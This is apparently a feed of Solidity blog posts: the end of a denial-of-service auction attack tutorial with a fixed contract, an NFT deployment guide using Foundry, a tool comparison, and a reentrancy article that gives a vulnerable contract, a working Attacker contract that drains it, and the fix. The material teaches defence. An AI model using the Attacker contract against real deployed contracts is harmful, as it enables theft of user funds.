Notice how Attack.sol will lead Good.sol into a DOS attack. First address1 will become the current winner by calling setCurrentAuctionPrice on Good.sol then Attack.sol will become the current winner by sending more ETH than address1 using the attack function. Now when address2 will try to become the new winner, it won't be able to do that because of this check(if (sent)) present in the Good.sol contract which verifies that the current winner should only be changed if the ETH is sent back to the previous current winner.

Since Attack.sol doesn't have a fallback function which is necessary to accept ETH payments, sent is always false and thus the current winner is never updated and address2 can never become the current winner

Test the attack

To run the test, in your terminal pointing to the root directory of this level execute the following command

forge test

When the tests pass, you will notice that the Good.sol is now under DOS attack because after Attack.sol becomes the current winner, on other address can becomes the current winner.

Prevention

You can create a separate withdraw function for the previous winners.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;
    mapping(address => uint) public balances;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
        balances[currentWinner] += currentAuctionPrice;
        currentAuctionPrice = msg.value;
        currentWinner = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != currentWinner, "Current winner cannot withdraw");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

Conclusion

Hope you learnt something from this post.
If you have any questions or feel stuck or just want to say Hi, call me anytime!

Thanks

Build your own basic NFT Contract on Ethereum

Thu, 22 May 2025 20:25:02 +0000

Prerequisites

Make sure you have MetaMask installed and set up
Request some Sepolia Testnet ETH from a faucet to work with - Ethereum Sepolia Faucet

Installing Foundry

If you're on a Mac or are using Linux run this command in your terminal

curl -L https://foundry.paradigm.xyz | bash

If you're on Windows, it is recommended that you install wsl and then use the same command. However, if you don't want to install wsl, you'll have to build it from source. Make sure you have the Rust compiler and cargo on your machine. Check if you do by using this command:

rustc --version
cargo --version

Once confirmed, use this command

cargo install --git https://github.com/foundry-rs/foundry --profile local --locked forge cast chisel anvil

Setting up Foundry

To build the smart contract, we will use Foundry this time. It is an Ethereum development environment and framework that allows full-stack Ethereum development on your local computer without relying on browser IDEs such as Remix. It also allows for easier debugging, faster iterations, and writing scripts and tests to go along with your contract code.

To set up a Foundry project, first create a new folder on your computer - we will name ours NFT-Tutorial - and go to it through your Terminal.

Once your Terminal is inside NFT-Tutorial, setup a Foundry project using the following:

forge init foundry-app

Installing OpenZeppelin Contracts

cd into foundry-app and then run the following command:

forge install OpenZeppelin/openzeppelin-contracts

This will fetch Openzeppelin's contracts repository from GitHub and clone it, enabling us to use it in our code.

When you do this, Hardhat would have looked at the import statement and understood you're trying to import a Solidity file that is not one part of your own project . It would then fetch it from the node_modules/ folder because it expects you to have installed the npm dependency for it.

In Foundry, this works a bit differently. Since this is not a Node project and doesn't ship with npm - and instead just git clones the repository you need into the lib folder, imports would normally work something like this:

import {ERC20} from "../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

But this code doesn't look that clean - so we have remappings.

Remappings are essentially a way to provide an alias to imports - a shorter-way of writing import statements which are aliasing some short-form path to the real path of that dependency.

To configure them in your project and make sure they're picked up when compiling your code, run the following command:

forge remappings > remappings.txt

This will take the remappings it has understood, and write them to a remappings.txt file in foundry-app which acts as a configuration file for all your remappings. You can also customize this and add new ones if you need to.

Writing the NFT Contract

With OpenZeppelin Contracts now installed, we can move on to writing our Solidity code.

Create a new Solidity file - we'll name ours NFTee.sol - inside the src folder of your Foundry project. Write the following code in that file:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Import the openzepplin contracts
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

// NFTee is  ERC721 signifies that the contract we are creating imports ERC721 and follows ERC721 contract from openzeppelin
contract NFTee is ERC721 {
    constructor() ERC721("NFTee", "ITM") {
        // mint an NFT to yourself
        _mint(msg.sender, 1);
    }
}

The code is fairly straightforward. We import the ERC-721 contract from OpenZeppelin, and then initialize it during the constructor. We also use the internal _mint function to mint an NFT to ourself.

To make sure you got the code right check if all the files are compiling. First delete the test folder and then, in your terminal, run

forge build

If there are no errors and your contract compiled just fine, you are good to go!

Deploying the Contract

Let's deploy this contract to the Sepolia Test Network. First, create a .env file inside your foundry-dapp folder and add the

following lines to it:

QUICKNODE_RPC_URL="..."
PRIVATE_KEY="..."

Head over to Quicknode and sign up for an account if you haven't already. Quicknode is a node provider that runs blockchain nodes for various networks and gives you access to them so you don't have to run your own. We will use them to deploy our contract through Foundry by connecting Foundry to their node.

After creating an account at Quicknode, click on Create an Endpoint, select Ethereum and then select the Sepolia network. Finish this process, and then copy the HTTP Provider link you receive. Update your .env file to have that URL as the value for QUICKNODE_RPC_URL.

Now, for the private key. When you deploy using Remix, Remix just prompts you to deploy the contract through MetaMask since it operates in the browser. However, since we are running Foundry directly on your computer, we need to give it the private key directly.

To get your private key, you can export it from MetaMask. To do so, open up MetaMask, click on Account Details for the account you want to export, and click on Export Private Key. Copy-paste the value and put it in your .env file as the value for PRIVATE_KEY.

Now we'll have to load our environment variables into the terminal's environment. For doing this, run the following command in your terminal

source .env

This command just specifies that the source of the variables we're about to enter is the .env file.

Finally, to deploy your contract, run the following command:

forge create --rpc-url $QUICKNODE_RPC_URL --private-key $PRIVATE_KEY src/NFTee.sol:NFTee

Notice how variable names are prefixed with $

This command will output some logs to your console where it will compile your contract and then deploy to the Sepolia Test Network. It will also give you the contract address of the deployed contract.

Copy the contract address it gives you, and look it up on Sepolia Etherscan - open up the first transaction there and it will show you that a NFT was minted and transfered to your address!

Congratulations!

Awesome! If you got this far, you have probably deployed your first NFT contract to an Ethereum testnet! You also learnt about Foundry and setting it up.

If you had any trouble, or just want to share your success, message me for help!

Thanks for reading my post.
Happy coding!

Alchemy vs Solidity + Remix: A Comparison for Blockchain Developers

Sun, 23 Feb 2025 11:41:15 +0000

Alchemy vs Solidity + Remix

When it comes to blockchain development, especially on Ethereum and other EVM-compatible chains, developers have a variety of tools at their disposal. Two popular approaches to building decentralized applications (dApps) and smart contracts are Alchemy and Solidity + Remix. While both are essential in the blockchain ecosystem, they serve different purposes and cater to different stages of development.

In this article, we’ll compare Alchemy with Solidity + Remix, highlighting their strengths, use cases, and how they complement each other in the development process.

What is Alchemy?

Alchemy is a blockchain development platform that provides infrastructure, APIs, and developer tools for interacting with blockchain networks like Ethereum, Polygon, Arbitrum, and others. It abstracts the complexity of managing nodes and provides scalable, reliable access to blockchain data and functionality.

Key Features of Alchemy:

Node Management: No need to run your own Ethereum node; Alchemy handles it for you.

Enhanced APIs: Access real-time blockchain data, monitor transactions, and interact with smart contracts.

Developer Tools: Includes debugging tools, analytics dashboards, and webhooks for notifications.

Scalability: Automatically scales to handle high traffic and complex queries.

Multi-Chain Support: Works across multiple blockchains, including Ethereum, Polygon, Optimism, and more.

Alchemy is ideal for developers who want to focus on building dApps without worrying about backend infrastructure.

What is Solidity + Remix?

Solidity is the programming language used to write smart contracts on Ethereum and other EVM-compatible blockchains. Remix is an integrated development environment (IDE) specifically designed for writing, testing, and deploying Solidity smart contracts.

Key Features of Solidity + Remix:

Smart Contract Development: Solidity is the go-to language for creating decentralized applications, tokens, and DeFi protocols.

Remix IDE: A browser-based tool for writing, compiling, and deploying smart contracts. It includes a built-in debugger and test environment.

No Setup Required: Remix runs in the browser, making it easy to start coding without installing additional software.

Testing and Debugging: Remix provides tools for unit testing, debugging, and simulating contract interactions.

Quick Prototyping: Ideal for experimenting with new ideas or learning Solidity.

Solidity + Remix is perfect for developers who want to quickly prototype and deploy smart contracts without needing extensive infrastructure.

Alchemy vs Solidity + Remix: Key Differences

When to Use Alchemy

Alchemy shines when you’re ready to move beyond local development and build production-ready decentralized applications. Here’s when to use Alchemy:

Building Scalable dApps:

If you’re developing a dApp that needs to handle thousands of users or transactions, Alchemy’s infrastructure ensures reliability and performance.

Monitoring Transactions:

Alchemy’s APIs allow you to track pending transactions, listen for events, and receive real-time updates via webhooks.

Interacting with Multiple Blockchains:

Alchemy supports multiple EVM-compatible chains, making it easy to build cross-chain applications.

Advanced Analytics:

Use Alchemy’s dashboard and tools to analyze gas usage, transaction history, and network activity.

Enterprise Solutions:

For businesses and enterprises, Alchemy offers premium features like dedicated support and higher rate limits.

When to Use Solidity + Remix

Solidity + Remix is ideal for developers who are focused on writing and testing smart contracts. Here’s when to use this combination:

Learning Solidity:

Remix is beginner-friendly and doesn’t require any setup, making it perfect for learning Solidity and blockchain basics.

Prototyping Ideas:

Quickly test new concepts or experiment with smart contract logic without worrying about deployment costs.

Debugging Contracts:

Remix’s built-in debugger helps identify issues in your code during development.

Deploying Simple Contracts:

For small projects or educational purposes, Remix allows you to deploy contracts directly to testnets or mainnet.

No Infrastructure Needed:

Since Remix runs in the browser, you don’t need to manage nodes or APIs, simplifying the development process.

How Alchemy and Solidity + Remix Complement Each Other

While Alchemy and Solidity + Remix serve different purposes, they can work together seamlessly in the blockchain development lifecycle:

Development Phase:

Use Remix to write, test, and debug your Solidity smart contracts. This is where you refine your contract logic and ensure it works as intended.

Deployment Phase:

Once your contract is ready, deploy it to a testnet or mainnet using Alchemy’s APIs. Alchemy provides reliable access to blockchain networks, ensuring smooth deployment.

Integration Phase:

After deployment, use Alchemy’s APIs to integrate your smart contract with a frontend application. Alchemy’s enhanced APIs make it easy to query blockchain data and send transactions.

Monitoring and Scaling:

Use Alchemy’s Dashboard and tools to monitor your dApp’s performance, optimize gas usage, and scale as your user base grows.

Example Workflow: Combining Alchemy and Solidity + Remix

Here’s how you can combine these tools in a real-world scenario:

Write and Test Your Smart Contract:

Use Remix to write and test your Solidity code. Deploy it to a testnet (e.g., Goerli) for initial testing.

Set Up Alchemy:

Create an app on Alchemy and obtain your API key. Use this key to connect your frontend application to the blockchain.

Deploy to Mainnet:

Use Alchemy’s APIs to deploy your contract to the Ethereum mainnet or another supported chain.

Build the Frontend:

Use libraries like Web3.js or Ethers.js to interact with your deployed contract via Alchemy’s infrastructure.

Monitor and Optimize:

Use Alchemy Notify to receive alerts for important events, such as pending transactions or contract interactions. Analyze performance using Alchemy’s dashboard.

Final Thoughts

Both Alchemy and Solidity + Remix are indispensable tools for blockchain developers, but they serve distinct roles in the development process. Solidity + Remix is perfect for writing, testing, and deploying smart contracts, especially for beginners and small projects. On the other hand, Alchemy excels at providing the infrastructure and APIs needed to build scalable, production-grade decentralized applications.

By combining these tools, developers can streamline their workflow, from prototyping smart contracts to deploying and monitoring full-scale dApps. Whether you’re just starting out or working on enterprise-level solutions, understanding how to leverage both Alchemy and Solidity + Remix will empower you to build robust, efficient, and innovative blockchain applications.

So, fire up Remix to write your first smart contract, and when you’re ready to take it live, let Alchemy handle the heavy lifting!

Smart Contract Bug: Reentrancy Attacks and How to Fix Them

Wed, 19 Feb 2025 22:00:45 +0000

Reentrancy Attack

In the world of Web3 and decentralized applications (dApps), smart contracts are the backbone of blockchain functionality. However, they are not immune to vulnerabilities. One of the most notorious and common bugs in smart contracts is the reentrancy attack. This article will explain what a reentrancy attack is, how it can be exploited, and provide a solution to prevent it. Finally, we’ll introduce how Web3Dev, a leading Web3 development agency, can help you build secure and robust decentralized systems.

What is a Reentrancy Attack?

A reentrancy attack occurs when a malicious contract exploits a vulnerability in a target contract to repeatedly call a function before the initial function execution is complete. This is often done during a withdrawal or transfer of funds, allowing the attacker to drain the contract’s balance.

The most famous example of this vulnerability was the DAO hack in 2016, where an attacker drained over $50 million worth of Ether by exploiting a reentrancy bug.

How Does a Reentrancy Attack Work

Here’s a simplified example of a vulnerable smart contract:

pragma solidity ^0.8.0;

contract Vulnerable {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= _amount;
    }
}

In this contract, the withdraw function sends Ether to the caller before updating their balance. An attacker can exploit this by deploying a malicious contract that recursively calls the withdraw function before the balance is updated. Here’s how:

contract Attacker {
    Vulnerable public vulnerable;

    constructor(address _vulnerable) {
        vulnerable = Vulnerable(_vulnerable);
    }

    function attack() public payable {
        vulnerable.deposit{value: msg.value}();
        vulnerable.withdraw(msg.value);
    }

    receive() external payable {
        if (address(vulnerable).balance >= msg.value) {
            vulnerable.withdraw(msg.value);
        }
    }
}

The receive function in the attacker’s contract allows it to repeatedly call the withdraw function, draining the vulnerable contract’s funds.

The Fix: Use Checks-Effects-Interactions Pattern

To prevent reentrancy attacks, developers should follow the Checks-Effects-Interactions (CEI) pattern. This means:

Checks: Validate all conditions before executing logic.
Effects: Update the contract’s state (e.g., balances).
Interactions: Interact with external contracts or addresses.

Here’s the fixed version of the withdraw function:

function withdraw(uint256 _amount) public {
    require(balances[msg.sender] >= _amount, "Insufficient balance");
    balances[msg.sender] -= _amount; // Update balance first
    (bool success, ) = msg.sender.call{value: _amount}("");
    require(success, "Transfer failed");
}

By updating the balance before sending Ether, the contract ensures that even if the attacker recursively calls the function, their balance will already be zero, preventing further withdrawals.

At Web3Dev, we specialize in building secure, scalable, and innovative Web3 solutions. Our team of experienced blockchain developers and security experts can help you avoid common pitfalls that can be very costly.

Additional Security Measures

Use Reentrancy Guards: OpenZeppelin’s ReentrancyGuard is a widely-used library that provides a modifier to prevent reentrancy. import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Secure is ReentrancyGuard { function withdraw(uint256 _amount) public nonReentrant { // Safe withdrawal logic } }
Limit External Calls: Minimize interactions with external contracts or addresses, especially when handling funds.
Audit Your Code: Regularly audit your smart contracts for vulnerabilities using tools like Slither, MythX, or professional auditing services.

How Web3Dev Can Help

At Web3Dev, we specialize in building secure, scalable, and innovative Web3 solutions. Our team of experienced blockchain developers and security experts can help you:

Develop Secure Smart Contracts: We follow best practices and implement robust security measures to protect your dApps from vulnerabilities like reentrancy attacks.
Conduct Smart Contract Audits: Our thorough auditing process identifies and fixes potential vulnerabilities before deployment.
Build Custom dApps: From DeFi platforms to NFT marketplaces, we create tailored solutions to meet your business needs.
Provide Ongoing Support: We offer maintenance and support services to ensure your dApps remain secure and up-to-date.

Don’t let vulnerabilities compromise your Web3 project. Partner with Web3Dev to build with confidence and security.

Coder Legion - Recent posts tagged solidity

Understanding Gas on the Blockchain: A Practical Guide Using Real Transactions

Separating the Five Core Concepts

Under the Hood: How Does the Blockchain Count Gas?

Case Study One: Calling increment() on Monad Testnet

Case Study Two: Inspecting a Transaction on Ethereum Sepolia Testnet

How Do You Know What Gas Limit to Set?

Understanding Gas Price and Gwei

Decoding EIP-1559: Base Fee, Priority Fee, and Max Fee

Why Do Transactions Need a Gas Limit? (And Why Gas Costs Change)

Comparing the Two Receipts: Are Fees on Monad Expensive?

Common Misunderstandings About Gas (Quick Checklist)

How to Explain Gas to Someone Else

Let's Figure Out the Rest Together

The Token Is the Least Interesting Part of Tokenization

What Most Developers Think Tokenization Is

The Five Layers Nobody Talks About

Layer 1 — Provenance

Layer 2 — Custody

Layer 3 — The Oracle Problem

Layer 4 — Compliance Middleware

Layer 5 — Legal Enforceability

The Real Architecture

A Concrete Walk-Through: Tokenized Commercial Real Estate

What the Numbers Tell Us

Questions to Ask Before Writing a Single Line of Solidity

The Honest Summary

Further Reading

The Brief for the Judge: Writing Audit-Ready Documentation

Thinking Like an Attacker: The Airbags and Seatbelts of Smart Contract Security

Smart Contracts Demand Better Infrastructure: Building on contract.dev

Immutability by Default, Upgradeability by Necessity: Lessons from a Crowdfunding Protocol

How To Audit A Smart Contract

Step 1: Trace Trust Boundaries

Step 2: What the repo shows

Step 3: Simple audit flow

Takeaway

Built on Aptos: Bringing RWAs On-Chain

The Why

Technical Highlights

Why Open Source?

Issue #7: Blockchain security and attacks

Mastering Solidity: Essential Concepts Every Web3 Developer Must Understand

The Hidden Architecture of Modern Web3 Systems What Developers Overlook When Building on Blockchain

Learning the Single Responsibility Principle with Snapshot Tests

The "Aha!" Moment: Unreadable Snapshots

The Unreadable Snapshot is Your Guide to Refactoring

Finding the Balance: Reusability vs. Encapsulation

The Hidden Benefit: Testing Styles

Snapshotting the Orchestrator

Unit Tests as a Regression Safety Net

Mocking Services and Stores to Test "Wiring"

From Theory to Practice: The Ultimate Payoff

A Clear and Working Example of Zero-Knowledge Proofs in a Real Web3 Application

️ Step 0: Install ZoKrates

⚙️ Step 1: Bootstrap Your dApp

Step 2: Write the Circuit

What this does:

Step 3: Generate the Commitment in JavaScript

Step 4: Compile the Circuit

Step 5: Add the Verifier to Your App

Step 6: Generate the Proof in the Frontend

Step 7: Verify the Proof On-Chain

Final Thoughts

What You Could Build with This

Understanding Ethereum: EVM, Blocks, Gas, Accounts & Transactions Explained

1. The Ethereum Virtual Machine (EVM)

⛓️ 2. Blocks: Ethereum’s Time Capsules

⛽ 3. Gas: Ethereum’s Fuel Meter

4. Accounts: EOAs vs. Contract Accounts

5. Transactions: State-Changing Actions

Recap Table

Why This Matters

What the Heck Are EIPs and ERCs? A Beginner’s Guide to 4 Ethereum Upgrades You’ve Never Heard Of

What Are EIPs and ERCs?

History & Impact

️ Deep Dive into 4 Selected Standards

1. EIP‑2930: Access Lists (Core / Transaction Format)

✅ Benefits

❌ Drawbacks

Case Study One: Calling `increment()` on Monad Testnet